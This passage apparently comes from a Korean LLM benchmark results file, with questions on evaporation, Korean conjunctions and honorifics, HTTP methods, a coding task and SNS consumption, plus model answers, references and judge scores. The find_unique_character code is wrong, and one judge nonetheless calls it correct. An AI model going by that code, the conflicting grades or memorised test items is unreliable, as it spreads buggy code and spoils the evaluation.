증발하여 시원함을 느끼는 것\n\n**3. 바람 (Wind)**\n\n* **공기 순환:** 바람은 젖은 표면 근처의 공기를 순환시켜 수증기를 빠르게 제거하고 건조한 공기를 공급합니다. \n* **예시:** 바람이 부는 날 빨래가 빨리 마르는 것, 선풍기 바람으로 땀을 식히는 것\n\n**4. 표면적 (Surface Area)**\n\n* **물과 공기 접촉 면적:**  표면적이 넓을수록 물 분자가 공기와 접촉하는 면적이 늘어나 증발이 빨라집니다. \n* **예시:** 넓게 펼쳐 놓은 빨래가 뭉쳐놓은 빨래보다 빨리 마르는 것, 얕은 접시에 담긴 물이 컵에 담긴 물보다 빨리 증발하는 것\n\n**5. 물의 순도 (Purity of Water)**\n\n* **용해된 물질:** 물에 소금이나 설탕과 같은 물질이 녹아 있으면 증발 속도가 느려집니다. 용해된 물질은 물 분자 사이의 인력을 강화시켜 증발을 방해하기 때문입니다.\n* **예시:** 바닷물이 민물보다 증발하는데 시간이 오래 걸리는 것\n\n**6. 기압 (Air Pressure)**\n\n* **공기 무게:** 기압이 낮을수록, 즉 공기가 누르는 힘이 약할수록 물 분자가 공기 중으로 쉽게 탈출할 수 있어 증발 속도가 빨라집니다.\n* **예시:** 높은 산 등반 시 낮은 기압 때문에 물이 끓는점이 낮아지고, 음식이 빨리 익지 않는 현상 \n\n이 외에도 물의 증발량에 영향을 미치는 요인은 다양하게 존재합니다. 라면 물 양 맞추는 것만큼이나 여러 변수가 작용하는 현상이라고 할 수 있겠네요! 😄 \n"], "references": ["물의 증발량은 라면 1개를 끓일 때와 2개를 끓일 때 거의 같다. 따라서, 라면을 2개를 끓일 때는 1100mL보다 적은 양의 물을 사용해도 된다.", null], "query_single": {"judge_message": "모델은 라면 2개를 끓일 때 물의 양을 적게 넣는 이유에 대해 설명하면서, 더 진하고 짭짤한 국물, 면의 쫄깃함 유지, 끓는점 상승 방지 등의 이유를 제시했습니다. 또한, 개인의 취향과 라면 종류에 따라 물의 양이 달라질 수 있다고 언급하며, 레시피를 참고할 것을 권장했습니다. 이는 질문의 요구사항을 충분히 반영한 답변입니다. 다만, 추가 참고 자료에서 언급된 물의 증발량에 대한 정보는 포함되지 않았으며, 이는 답변의 완성도를 높이는 데 도움이 될 수 있었습니다. 언어 요구사항을 준수하였으며, 한국어로 답변하였습니다.", "judge_score": 8.0}, "query_multi": {"judge_message": "모델은 물의 증발량에 영향을 미치는 요인들을 상세하게 설명하며, 각 요인이 증발에 어떻게 작용하는지 예시를 들어 이해를 돕고 있습니다. 이는 질문에 대한 충분한 답변을 제공하는 것으로 볼 수 있습니다. 또한, 모델은 한국어로 답변하였으며, 이전 대화 맥락과도 일치하는 내용을 제공하고 있습니다. 다만, 추가 참고 자료에서 언급된 \"물의 증발량은 라면 1개를 끓일 때와 2개를 끓일 때 거의 같다\"는 정보를 직접적으로 언급하지 않았으나, 이는 질문의 핵심 요소가 아니므로 큰 문제가 되지 않습니다. 전반적으로 모델의 답변은 질문에 대해 충분히 설명하고 있으며, 언어 요구사항도 준수하고 있습니다.", "judge_score": 9.0}}
{"id": 38, "category": "문법(Grammar)", "questions": ["두 문장 사이에 가장 알맞은 접속어를 고르고, 이유를 설명하시오.\n\n이 세상에는 아름다운 것들이 참으로 많다고들 한다. 나는 그런 아름다움을 모른다.\n\n1. 그래서\n2. 그러나\n3. 그리고\n4. 따라서", "'그러나'와 비슷한 역할을 하는 접속어는 어떤 게 있는지 설명하시오."], "outputs": ["가장 알맞은 접속어는 **(2) 그러나** 입니다.\n\n**이유:**\n\n* **첫 번째 문장**은 \"세상에는 아름다운 것들이 많다\"는 일반적인 견해를 제시합니다.\n* **두 번째 문장**은 화자가 \"그런 아름다움을 모른다\"라고 말하며, 앞 문장의 견해와 상반되는 내용을 나타냅니다. \n\n따라서, 두 문장 사이에 **대조** 또는 **반전**의 의미를 가진 접속어 \"그러나\"를 사용하는 것이 자연스럽습니다. \n\n다른 선택지들은 문맥에 맞지 않습니다.\n\n* **그래서, 그리고, 따라서**는 앞 문장의 내용에 대한 **결과, 추가, 이유** 등을 나타내는 접속어이므로, 문맥상 어울리지 않습니다. \n", "'그러나'와 비슷한 역할을 하는 접속어는 주로 **역접 접속어**라고 불리며, 앞 문장과 뒤 문장의 의미를 대조하거나 반전하는 역할을 합니다. 몇 가지 예시와 함께 자세히 설명해 드리겠습니다.\n\n**1. 완전한 반대 또는 대조**\n\n* **하지만:** '그러나'보다 조금 더 가볍고 일상적인 느낌을 줍니다. \n    * 예: 날씨는 좋았다. 하지만 나는 기분이 좋지 않았다.\n* **그렇지만:** '하지만'과 비슷하게 사용되며, 약간 더 부드러운 느낌을 줍니다.\n    * 예: 노력했지만, 결과는 좋지 않았다. 그렇지만 포기하지 않을 것이다.\n* **반면에:** 앞 문장과 뒤 문장의 내용을 명확히 대비시킬 때 사용합니다.\n    * 예: 그는 활발한 성격이다. 반면에 그의 동생은 조용한 편이다.\n\n**2. 예상과 다른 결과, 반전**\n\n* **그런데:** 앞 문장의 내용과 뒤 문장의 내용이 예상과 다를 때 사용합니다.\n    * 예: 분명히 여기에 두었는데. 그런데 어디 갔지?\n* **그럼에도 불구하고:** 앞 문장의 내용에도 불구하고 뒤 문장의 내용이 성립함을 강조합니다.\n    * 예: 어려운 상황이었다. 그럼에도 불구하고 그는 포기하지 않았다.\n\n**3. 제한적인 반대**\n\n* **다만:** 뒤 문장에서 앞 문장의 내용을 일부 제한하거나 수정할 때 사용합니다.\n    * 예: 그의 의견에 동의한다. 다만, 몇 가지 보완할 부분이 있다고 생각한다.\n\n이 외에도 다양한 역접 접속어가 존재하며, 문맥에 따라 적절한 것을 선택하여 사용하는 것이 중요합니다. 어떤 접속어를 사용하느냐에 따라 문장의 뉘앙스가 달라질 수 있으므로, 다양한 예문을 통해 연습하는 것이 좋습니다. \n"], "references": ["2. 그러나", null], "query_single": {"judge_message": "모델은 질문에서 요구한 바에 따라 가장 알맞은 접속어를 선택하고, 그 이유를 명확하게 설명하였다. 제시된 문장들 사이의 관계를 분석하여 \"그러나\"가 대조의 의미를 가지고 있어 적합하다고 설명한 점이 적절하다. 또한 다른 선택지들이 문맥에 맞지 않는 이유도 간략하게 설명하였다. 언어 요구사항을 준수하며 한국어로 답변하였으므로, 언어 요구사항을 충족하였다. 추가 참고 자료를 통해 제공된 정답과 일치하는 접속어를 선택함으로써 정확성도 확보하였다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 질문에 대한 답변을 한국어로 제공하며, 언어 요구사항을 충족하고 있습니다. 모델은 '그러나'와 비슷한 역할을 하는 접속어로 '하지만', '그렇지만', '반면에', '그런데', '그럼에도 불구하고', '다만' 등을 제시하며, 각각의 사용 예를 들어 설명함으로써 이해를 돕고 있습니다. 이는 후속 질문에 대한 적절한 답변으로 볼 수 있습니다. 또한, 각 접속어가 가지는 뉘앙스의 차이를 설명하며, 문맥에 따라 적절한 접속어를 선택하는 것의 중요성을 강조하는 부분은 매우 유익합니다. 답변은 이전 대화 맥락과 일치하며, 추가적인 정보를 제공하여 이해를 높이고 있습니다.", "judge_score": 10.0}}
{"id": 27, "category": "코딩(Coding)", "questions": ["HTTP/1.1 및 2의 주요 메서드 5개와 그들의 역할에 대하여 설명해보시오.", "HTTP 메서드 중 PUT과 PATCH의 차이는 무엇인가?"], "outputs": ["## HTTP/1.1 및 2의 주요 메서드 5개와 역할 설명\n\nHTTP/1.1과 HTTP/2는 모두 클라이언트와 서버 간 통신을 위한 프로토콜이지만, HTTP/2는 성능 향상을 위해 여러 기능이 추가되었습니다. 그러나 기본적인 메서드는 동일하게 사용됩니다. \n\n다음은 HTTP/1.1 및 2의 주요 메서드 5개와 그 역할에 대한 설명입니다.\n\n| 메서드 | 역할 | 설명 | HTTP/1.1 | HTTP/2 |\n|---|---|---|---|---|\n| **GET** | 데이터 조회 | 지정된 리소스를 서버에서 가져옵니다. | 지원 | 지원 |\n| **POST** | 데이터 전송 | 특정 리소스에 데이터를 전송하여 생성하거나 업데이트합니다. | 지원 | 지원 |\n| **PUT** | 데이터 생성/전체 수정 | 지정된 리소스를 제공된 데이터로 덮어씁니다. 존재하지 않으면 새로 생성합니다. | 지원 | 지원 |\n| **PATCH** | 데이터 일부 수정 | 지정된 리소스의 일부를 수정합니다. | 지원 | 지원 |\n| **DELETE** | 데이터 삭제 | 지정된 리소스를 서버에서 삭제합니다. | 지원 | 지원 |\n\n**각 메서드의 추가 설명:**\n\n* **GET:** 데이터를 조회하는 데 사용되며, 서버의 상태를 변경하지 않습니다. 검색 엔진 쿼리, 이미지 불러오기 등에 사용됩니다.\n* **POST:** 데이터를 서버로 전송하여 처리하게 하며, 서버의 상태를 변경할 수 있습니다. HTML 폼 제출, 새 게시글 작성 등에 사용됩니다.\n* **PUT:** 데이터를 특정 URI에 저장하며, 해당 URI에 이미 리소스가 존재하면 덮어씁니다.  리소스 전체를 업데이트할 때 사용됩니다.\n* **PATCH:**  리소스의 일부를 수정할 때 사용됩니다. PUT보다 더 제한적인 업데이트를 수행합니다.\n* **DELETE:** 지정된 리소스를 삭제합니다.\n\n**HTTP/1.1과 HTTP/2의 차이점:**\n\nHTTP/2는 HTTP/1.1의 성능을 개선하기 위해 설계되었습니다. HTTP/2는 헤더 압축, 다중화, 서버 푸시 등의 기능을 제공하여 더 빠르고 효율적인 데이터 전송을 가능하게 합니다. \n\n**결론:**\n\nHTTP 메서드는 클라이언트와 서버 간의 통신 방식을 정의하는 데 중요한 역할을 합니다. 위에서 설명한 5가지 메서드는 가장 일반적으로 사용되는 메서드이며, 웹 개발 및 API 개발 등 다양한 분야에서 사용됩니다.\n", "HTTP 메서드 중 PUT과 PATCH는 모두 리소스를 수정하는 데 사용되지만, 그 방식과 용도에 차이가 있습니다. \n\n**1. PUT**\n\n* **전체 교체**: PUT 요청은 리소스 전체를 요청 본문에 담긴 데이터로 완전히 교체합니다. 즉, 요청 본문에는 리소스의 전체 상태에 대한 정보가 포함되어야 합니다. \n* **멱등성(Idempotence)**: 여러 번 실행해도 서버의 상태가 한 번 실행했을 때와 동일하게 유지됩니다. \n* **예시**:  `/users/123` 경로에 사용자 정보를 저장한다고 가정했을 때, PUT 요청은 다음과 같습니다.\n\n    ```\n    PUT /users/123\n    Content-Type: application/json\n\n    {\n      \"name\": \"John Doe\",\n      \"email\": \"johndoe@example.com\",\n      \"age\": 30\n    }\n    ```\n\n    만약 `/users/123`에 이미 데이터가 존재하더라도, 요청 본문의 내용으로 전체가 교체됩니다. \n\n**2. PATCH**\n\n* **부분 수정**: PATCH 요청은 리소스의 일부만 수정합니다. 요청 본문에는 수정할 부분에 대한 정보만 포함됩니다. \n* **멱등성 보장 X**: 여러 번 실행할 경우 서버의 상태가 매번 달라질 수 있습니다. \n* **예시**: `/users/123` 경로에 저장된 사용자 정보 중 이메일 주소만 변경하고 싶다면, PATCH 요청은 다음과 같습니다.\n\n    ```\n    PATCH /users/123\n    Content-Type: application/json\n\n    {\n      \"email\": \"newemail@example.com\"\n    }\n    ```\n\n    이 경우, 이름이나 나이 등 다른 정보는 그대로 유지되고 이메일 주소만 변경됩니다. \n\n**요약**\n\n| 특징 | PUT | PATCH |\n|---|---|---|\n| 수정 범위 | 리소스 전체 | 리소스 일부 |\n| 요청 본문 | 전체 리소스 상태 | 변경할 부분만 |\n| 멱등성 | O | X |\n| 주요 용도 | 리소스 전체 업데이트 | 리소스 일부 업데이트 |\n\n**언제 PUT을 사용하고 언제 PATCH를 사용해야 할까요?**\n\n* 리소스 전체를 업데이트해야 한다면 PUT을 사용합니다.\n* 리소스의 특정 부분만 수정해야 한다면 PATCH를 사용합니다.\n\nPUT은 리소스 전체를 관리하는 데 적합하며, PATCH는 리소스의 특정 속성을 효율적으로 업데이트하는 데 유용합니다. \n"], "references": ["GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD, TRACE, CONNECT 중 5개를 설명", "PUT은 전체를 업데이트하는 반면, PATCH는 일부를 업데이트한다."], "query_single": {"judge_message": "모델은 HTTP/1.1 및 HTTP/2의 주요 메서드 5개를 정확하게 나열하고 각각의 역할에 대해 설명하였다. GET, POST, PUT, PATCH, DELETE 메서드의 기능을 간략하게 설명하면서 표와 추가 설명을 통해 정보를 제공하였다. 또한 HTTP/2의 특징에 대해서도 간단히 언급하여 질문의 요구사항을 충족시켰다. 언어 요구사항을 준수하며 한국어로 답변하였고, 질문에 대한 답변이 명확하고 이해하기 쉽게 구성되었다. 다만, TRACE, OPTIONS, HEAD, CONNECT 메서드에 대한 설명이 누락되었지만, 질문에서 요구한 5개의 메서드에 대해서는 충분한 설명을 제공하였다.", "judge_score": 9.0}, "query_multi": {"judge_message": "모델은 HTTP/1.1 및 2의 주요 메서드 5개와 그 역할에 대해 잘 설명하였으며, 추가적으로 PUT과 PATCH의 차이점에 대해서도 명확하게 설명하였습니다. 표를 사용하여 메서드와 역할, 설명을 구분하여 제시한 점이 독자의 이해를 돕습니다. 또한, 멱등성에 대한 설명을 포함하여 PUT과 PATCH의 차이점을 더욱 명확히 하였습니다. 언어 요구사항을 충족하며 한국어로 답변하였고, 이전 대화 맥락과 일치하는 내용을 제공하였습니다. 답변의 길이도 적절하며, 필요한 정보를 포괄적으로 담고 있습니다.", "judge_score": 10.0}}
{"id": 32, "category": "이해(Understanding)", "questions": ["아래 3개의 지문을 읽고, 각 지문에 관한 질문에 답해보세요.\na) 경제:\n한국은행이 2022년 5월 26일 발표한 '경제전망보고서'에 따르면, 한국 경제는 2022년에 2.7% 성장할 것으로 예상됩니다. 이는 지난해 11월 전망치인 3.0%에서 0.3%p 하향 조정된 수치입니다. 성장 전망 하향 조정의 주된 요인으로는 러시아-우크라이나 전쟁에 따른 글로벌 공급망 차질, 원자재 가격 상승, 그리고 중국의 경기 둔화 등이 꼽혔습니다. 한편, 소비자물가 상승률은 4.5%로 전망되어 기존 전망치 2.3%를 크게 상회할 것으로\n보입니다. 이는 국제 유가와 원자재 가격 상승, 공급망 병목에 따른 비용 상승 압력이 소비자물가로 전가되고 있기 때문입니다.\nb) 사회:\n우리나라의 1인 가구 비율이 빠르게 증가하고 있습니다. 통계청이 2021년 9월 29일 발표한 '인구주택총조사'에 따르면 2020년 기준 1인 가구 비율은 31.7%로 나타났습니다. 이는 2015년의 27.2%에 비해 4.5%p 상승한 수치로, 5년 사이에 큰 폭으로 증가하였음을 보여줍니다. 1인 가구 증가의 주된 요인으로는 고령화, 만혼 및 비혼 인구 증가, 그리고 젊은 층의 독립 선호 경향 등이 지목되고 있습니다. 1인 가구의 증가는 주택, 소비,\n복지 등 다양한 분야에 영향을 미치고 있어 이에 대한 정책적 대응이 필요한 상황입니다.\nc) 인문:\n20세기의 대표적인 철학자인 장 폴 사르트르는 실존주의 철학을 통해 개인의 주체성과 자유에 주목했습니다. 그의 1943년 저서 '존재와 무(L'Être et le néant)'에서 사르트르는 인간을 '자유로 선고된 존재'로 규정하였습니다. 이는 인간이 어떤 본질이나 목적에 의해 규정되는 것이 아니라, 스스로 선택하고 행동함으로써 자신의 존재를 만들어간다는 의미입니다. 사르트르는 또한 '타인은 지옥이다'라는 유명한 문구를 통해, 타인의\n시선으로 인해 개인의 자유가 위협받는 상황을 지적하였습니다. 그의 사상은 전후 실존주의 운동에 지대한 영향을 끼쳤으며, 개인의 주체성과 책임을 강조하는 철학으로 평가받고 있습니다. 한편, 사르트르는 문학에서도 왕성한 활동을 펼쳤는데, 1945년 발표된 연극 '출구 없는 방(Huis clos)'은 실존주의 철학을 극적으로 구현한 작품으로 유명합니다. 이 작품에서 그는 죽은 후에도 자유를 추구하는 인물들을 통해 실존의 문제를 날카롭게\n파헤칩니다.\n이제 아래 질문에 대한 응답을 각각 작성해보세요.\n'a)' 지문에서의 2022년 한국 경제 성장률 전망치는 얼마인가요?\n'b)' 지문에서 언급된 1인 가구 비율은 2020년 기준 얼마인가요?\n'c)' 지문에서 사르트르가 인간을 규정한 표현은 무엇인가요?", "세 가지 지문 사이에 공통점이 있나요?"], "outputs": ["## 지문 질문 답변\n\n**'a)' 지문에서의 2022년 한국 경제 성장률 전망치는 얼마인가요?**\n\n➡️ 2.7% 입니다. \n\n**'b)' 지문에서 언급된 1인 가구 비율은 2020년 기준 얼마인가요?**\n\n➡️ 31.7% 입니다.\n\n**'c)' 지문에서 사르트르가 인간을 규정한 표현은 무엇인가요?**\n\n➡️ '자유로 선고된 존재' 입니다. \n", "네, 세 가지 지문은 각기 다른 분야를 다루고 있지만, **'사회 변화와 그에 따른 영향'** 이라는 공통점을 가지고 있습니다. \n\n* **a) 경제:** 러시아-우크라이나 전쟁, 중국 경기 둔화 등 **대외적인 환경 변화**가 한국 경제 성장률 및 물가에 큰 영향을 미치고 있다는 내용입니다. \n* **b) 사회:** **1인 가구 증가**라는 사회 구조적 변화가 주택, 소비, 복지 등 다양한 분야에 영향을 미치고 있다는 내용입니다.\n* **c) 인문:** 장 폴 사르트르는 실존주의 철학을 통해 **20세기 전후 사회의 혼란과 변화 속에서 개인의 자유와 책임**을 강조했습니다. 이는 시대적 변화가 개인의 존재 방식에 대한 철학적 담론을 형성하는데 영향을 미쳤음을 보여줍니다. \n\n즉, 세 지문 모두 사회 변화라는 맥락 속에서 경제, 사회 구조, 개인의 삶에 미치는 영향을 분석하고 있다는 공통점을 지닙니다. \n"], "references": ["2.7%, 31.7%, '자유로 선고된 존재", null], "query_single": {"judge_message": "모델은 질문에 대한 답변을 한국어로 제공하며, 각 지문에 대한 질문에 정확하고 간결하게 답변했습니다. 'a)' 지문의 2022년 한국 경제 성장률 전망치, 'b)' 지문의 2020년 기준 1인 가구 비율, 그리고 'c)' 지문에서 사르트르가 인간을 규정한 표현에 대한 답변 모두 정확합니다. 추가 참조 자료에 제시된 정보와 일치하며, 언어 요구사항을 완벽히 준수하였습니다. 답변의 길이가 짧지만, 이는 평가 결과에 영향을 미치지 않습니다. 질문의 요구사항을 충실히 반영하여 답변하였으므로 높은 점수를 부여합니다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 주어진 세 개의 지문에 대한 질문에 정확하고 간결하게 답변했습니다. 'a)' 지문의 한국 경제 성장률 전망치, 'b)' 지문의 1인 가구 비율, 'c)' 지문의 사르트르가 인간을 규정한 표현에 대해 각각 2.7%, 31.7%, '자유로 선고된 존재'라고 정확히 답변하여 추가 참조 정보와 일치합니다. 후속 질문에 대한 답변에서도 세 지문의 공통점을 '사회 변화와 그에 따른 영향'이라고 잘 파악하여 설명했습니다. 이는 각 지문의 내용을 적절히 요약하고 연결하는 능력을 보여줍니다. 언어 요구사항도 충실히 준수하였습니다.", "judge_score": 10.0}}
{"id": 42, "category": "문법(Grammar)", "questions": ["나는어제친구와김치찌개를먹었다.\n\n이 문장을 올바르게 띄어 써보아라.", "아래 문장의 높임 표현을 올바르게 수정보아라.\n\n할머니가 밥을 먹는다."], "outputs": ["나는 어제 친구와 김치찌개를 먹었다. \n", "할머니께서 진지 드세요. \n"], "references": ["나는 어제 친구와 김치찌개를 먹었다.", "할머니께서 진지를 잡수신다."], "query_single": {"judge_message": "모델은 주어진 문장을 올바르게 띄어쓰기하여 답변했다. 질문에서 요구한 바를 정확히 이해하고, Additional Reference에 제시된 바와 동일하게 문장을 수정하여 제공함으로써 언어 요구사항을 충족했다. 답변의 길이가 짧지만, 이는 평가 결과에 영향을 미치지 않는다. 질문의 요구사항을 정확히 반영하였으며, 누락되거나 아쉬운 부분이 없다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 주어진 문장의 높임 표현을 수정하는 데 있어서 부분적으로 적절한 답변을 제공했다. \"할머니께서\"는 존댓말로 적절하게 사용되었으나, \"진지 드세요\"는 명령형으로 보일 수 있어 \"할머니께서 진지를 드신다\" 또는 \"할머니께서 밥을 드신다\"가 더 적절한 표현이다. \"잡수신다\"는 매우 공손한 표현이므로, 이를 사용하는 것도 가능하다. 따라서 모델의 답변은 정확한 높임 표현을 사용하지 않았으며, 추가 참고 자료에 제시된 \"할머니께서 진지를 잡수신다\"가 더 올바른 표현이다. 언어 요구사항을 준수하였으나, 높임 표현의 정확성 면에서 아쉬움이 남는다.", "judge_score": 6.0}}
{"id": 28, "category": "코딩(Coding)", "questions": ["코딩 문제\n주어진 리스트에서 중복되지 않는 첫 번째 문제를 반환하는 함수를 작성해라.\n함수명: find_unique_character\n매개변수: characters (list)\n반환값: 중복되지 않는 첫 번째 문자\n예시:\n입력: ['a', 'b', 'c', 'a', 'd']\n출력: 'b'\n입력: ['a', 'b', 'a', 'b', 'c']\n출력: 'c'\n입력: ['a', 'b', 'c', 'd', 'e']\n출력: 'a'\n언어는 자유롭게 사용 할수 있다.", "주어진 문제의 난이도를 높일 방법을 제시해라."], "outputs": ["```python\ndef find_unique_character(characters):\n  \"\"\"주어진 리스트에서 중복되지 않는 첫 번째 문자를 반환합니다.\n\n  Args:\n    characters: 문자들이 담긴 리스트\n\n  Returns:\n    중복되지 않는 첫 번째 문자, 만 such character이 없는 경우 None을 반환합니다.\n  \"\"\"\n  seen_characters = set()\n  for char in characters:\n    if char in seen_characters:\n      continue\n    else:\n      seen_characters.add(char)\n      return char\n  return None\n\n# 예제\nprint(find_unique_character(['a', 'b', 'c', 'a', 'd']))  # 출력: 'b'\nprint(find_unique_character(['a', 'b', 'a', 'b', 'c']))  # 출력: 'c'\nprint(find_unique_character(['a', 'b', 'c', 'd', 'e']))  # 출력: 'a'\n```\n\n### 코드 설명:\n\n1. **함수 정의:**\n   - `find_unique_character(characters)` 함수는 주어진 문자 리스트에서 중복되지 않는 첫 번째 문자를 찾는 함수입니다.\n\n2. **집합 사용:**\n   - `seen_characters = set()`는 지금까지 리스트에서 어떤 문자가 나왔는지 추적하는 집합을 만듭니다. 집합은 중복을 허용하지 않으므로 효율적인 탐색이 가능합니다.\n\n3. **반복문:**\n   - `for char in characters:`는 주어진 리스트 `characters`의 각 문자(`char`)에 대해 반복합니다.\n\n4. **중복 확인:**\n   - `if char in seen_characters:`는 현재 문자(`char`)가 이미 `seen_characters` 집합에 있는지 확인합니다. 만약 있다면 중복된 문자이므로 다음 문자로 넘어갑니다.\n\n5. **유일한 문자 반환:**\n   - `else` 문은 현재 문자가 중복되지 않았을 때 실행됩니다. `seen_characters.add(char)`를 통해 현재 문자를 `seen_characters` 집합에 추가하고, `return char`를 통해 해당 문자를 반환합니다.\n\n6. **None 처리:**\n   - 만약 리스트의 모든 문자가 중복되어 유일한 문자가 없다면, 반복문이 끝난 후 `return None`을 통해 `None`을 반환합니다.\n", "주어진 문제 \"리스트에서 중복되지 않는 첫 번째 문자 찾기\"의 난이도를 높이는 방법은 여러 가지가 있습니다. 몇 가지 아이디어와 함께 예시를 들어 설명해 드리겠습니다.\n\n**1. 데이터 구조 변경:**\n\n- **연결 리스트:** 입력 데이터를 Python 리스트 대신 연결 리스트로 제공합니다. 연결 리스트는 인덱스를 통한 직접 접근이 불가능하기 때문에 탐색 난이도가 높아집니다. \n    - 예시: 연결 리스트 노드 클래스 정의\n    ```python\n    class Node:\n        def __init__(self, data):\n            self.data = data\n            self.next = None\n    ```\n\n- **트리:**  문자들을 이진 트리 또는 트라이 자료구조에 저장하고, 중복되지 않는 첫 번째 문자를 찾도록 합니다. \n    - 예시: 트라이 자료구조를 사용한 문제 변형\n    ```python\n    class TrieNode:\n        def __init__(self):\n            self.children = {}  \n            self.is_end_of_word = False\n\n    # ... 트라이 자료구조 구현 ...\n\n    def find_unique_character_in_trie(root):\n        # ... 트라이에서 중복되지 않는 첫 번째 문자 찾는 로직 구현 ... \n```\n\n**2. 제약 조건 추가:**\n\n- **시간 복잡도 제한:**  O(n) 또는 더 낮은 시간 복잡도로 문제를 해결하도록 제한합니다. \n    - 힌트: 추가적인 자료구조 (해시 테이블, 집합 등)를 활용하여 탐색 시간을 줄일 수 있습니다.\n\n- **공간 복잡도 제한:**  O(1) 공간 복잡도로 문제를 해결하도록 제한합니다. \n    - 힌트: 입력 리스트를 직접 수정하거나, 비트 연산 등을 활용할 수 있습니다.\n\n- **문자열 길이 제한:**  매우 긴 문자열 (예: 수백만 자)을 입력받아 처리하도록 문제를 확장합니다. \n    - 힌트: 효율적인 문자열 처리 알고리즘 (Rabin-Karp 알고리즘 등)을 고려해야 합니다.\n\n**3. 문제 상황 변형:**\n\n- **스트리밍 데이터:**  데이터가 한 번에 모두 주어지는 것이 아니라, 실시간 스트림으로 들어온다고 가정하고 중복되지 않는 첫 번째 문자를 찾습니다.\n    - 힌트: 큐 또는 데크 자료구조를 활용하여 스트리밍 데이터를 처리할 수 있습니다.\n\n- **문자열 그룹:**  여러 개의 문자열 그룹이 주어지고, 각 그룹에서 중복되지 않는 첫 번째 문자를 찾아 조합하여 새로운 문자열을 생성합니다.\n    - 힌트: 여러 개의 결과를 저장하고 관리하기 위한 자료구조가 필요합니다.\n\n위에 제시된 아이디어들을 조합하여 문제의 난이도를 더욱 높일 수도 있습니다. 예를 들어, 연결 리스트로 구현된 매우 긴 문자열을 스트리밍 데이터 형태로 입력받아 O(n) 시간 복잡도와 O(1) 공간 복잡도로 중복되지 않는 첫 번째 문자를 찾는 문제를 생각해 볼 수 있습니다.\n"], "references": [null, null], "query_single": {"judge_message": "모델이 제공한 코드는 문제의 요구사항을 충족하지 못합니다. 함수는 중복되지 않는 첫 번째 문자를 반환해야 하지만, 제공된 코드는 리스트에서 처음 발견된 문자를 반환하고 있습니다. 이는 중복 여부를 전혀 고려하지 않은 잘못된 로직입니다. 또한, 주석에서 '만 such character이 없는 경우 None을 반환합니다.'라는 부분은 영어 단어 '만'이 잘못 사용되었으며, 이는 한국어 문법에 맞지 않습니다. 언어 요구사항을 준수하지 않은 부분도 있습니다.", "judge_score": 0.0}, "query_multi": {"judge_message": "모델은 주어진 코딩 문제에 대한 답변을 정확하게 제공하였으며, 후속 질문에 대해서도 적절한 난이도 상승 방안을 다양하게 제시하였다. 모델이 제공한 코드는 주어진 예시에 대해 올바른 결과를 반환할 것으로 보이며, 주석을 통해 코드의 각 부분을 설명하는 데에도 성공했다. 후속 질문에 대한 답변에서는 데이터 구조 변경, 제약 조건 추가, 문제 상황 변형 등 다양한 방법을 통해 문제의 난이도를 높일 수 있는 방안을 제시하였다. 이러한 방안들은 실제로 문제를 더 복잡하고 도전적으로 만들 수 있으며, 프로그래밍 능력을 평가하는 데에 유용할 것이다. 언어 요구사항도 충실히 준수하였다.", "judge_score": 10.0}}
{"id": 7, "category": "추론(Reasoning)", "questions": ["SNS의 등장 이후, SNS를 자아실현의 수단으로써 활용하며 젊은 세대에서 SNS에 자랑하기 위한 소비가 많아지는 경향을 띄고 있다. 이러한 현상이 발생하게 된 부가적 요인들을 생각해보고, 해결 방안을 상세히 제시해보시오.", "자본주의적 관점에서 이러한 현상이 문제가 없다는 주장을 논리적으로 전개해 보시오."], "outputs": ["## SNS 자랑 소비, 왜 문제일까요? - 부가적 요인과 해결 방안 제시\n\nSNS의 등장은 젊은 세대에게 자아실현의 도구를 제공하는 동시에, 과시적 소비를 부추기는 양면성을 지니고 있습니다. 단순히 '자랑'이라는 표면적인 현상을 넘어, 사회적, 심리적 요인들이 복합적으로 작용하며 이러한 현상을 심화시키고 있습니다. \n\n**1. SNS 자랑 소비 심화, 그 이면에 숨은 요인들:**\n\n* **(1) 불안정한 자아 정체성 확립 과정:** \n    * 젊은 세대는 아직 자아 정체성이 확립되지 않은 경우가 많아, 타인의 시선과 인정에 민감하게 반응합니다. \n    * SNS는 '좋아요'와 댓글을 통해 손쉽게 타인의 인정을 얻을 수 있는 수단이 되어, 불안정한 자아를 채우기 위한 도구로써 과시적 소비를 부추길 수 있습니다.\n* **(2) 알고리즘 기반 정보 필터 버블:**\n    * SNS 알고리즘은 사용자의 관심사와 유사한 정보만을 선택적으로 노출시키는 경향이 있습니다. \n    * 이는 특정 집단의 소비 패턴을 일반화하여 인식하게 만들고, 자신도 그들과 같은 소비를 해야 한다는 압박감을 조성할 수 있습니다.\n* **(3) 물질만능주의 심화와 상대적 박탈감:**\n    * 물질적 풍요 속에서 성장한 젊은 세대는 상대적으로 물질적 가치를 중시하는 경향을 보입니다. \n    * SNS는 타인의 소비를 여과 없이 보여주는 창구가 되어, 상대적 박탈감을 심화시키고 과시적 소비를 조장할 수 있습니다.\n* **(4) 불안정한 사회경제적 환경:**\n    * 치솟는 물가, 취업난 등 불안정한 사회경제적 환경 속에서 젊은 세대는 미래에 대한 불안감을 느끼고 현재의 즐거움에 집중하는 경향을 보입니다. \n    * SNS는 이러한 불안감을 일시적으로 해소하고 현재의 만족을 극대화하기 위한 수단으로써 소비를 부추길 수 있습니다.\n\n**2. 건강한 소비 문화 정착, 우리의 과제:**\n\n* **(1) 개인의 비판적 사고 능력 함양:**\n    * SNS 정보를 맹목적으로 수용하기보다 비판적으로 분석하고 판단하는 능력을 길러야 합니다. \n    * 미디어 리터러시 교육 등을 통해 정보 왜곡과 조작에 대한 경각심을 갖고, 건강한 정보 습득 능력을 향상해야 합니다.\n* **(2) 다양한 가치관 존중하는 사회 분위기 조성:**\n    * 물질적 가치보다 개인의 개성과 성장을 중시하는 사회 분위기를 조성해야 합니다. \n    * 성공의 기준을 다양화하고, 각자의 분야에서 노력하는 모습을 존중하는 사회적 분위기 조성이 필요합니다.\n* **(3) 건전한 SNS 사용 문화 정착:**\n    * SNS를 단순히 자랑의 공간이 아닌, 정보 공유, 소통, 공감의 장으로 활용할 수 있도록 건전한 SNS 사용 문화 정착이 필요합니다. \n    * 온라인에서의 긍정적 상호작용을 통해 공동체 의식을 함양하고, 사회적 책임감을 갖도록 독려해야 합니다.\n* **(4) 젊은 세대의 경제적 자립 지원 강화:**\n    * 젊은 세대가 미래에 대한 불안감 없이 자신의 꿈을 펼칠 수 있도록 경제적 자립을 위한 정책적 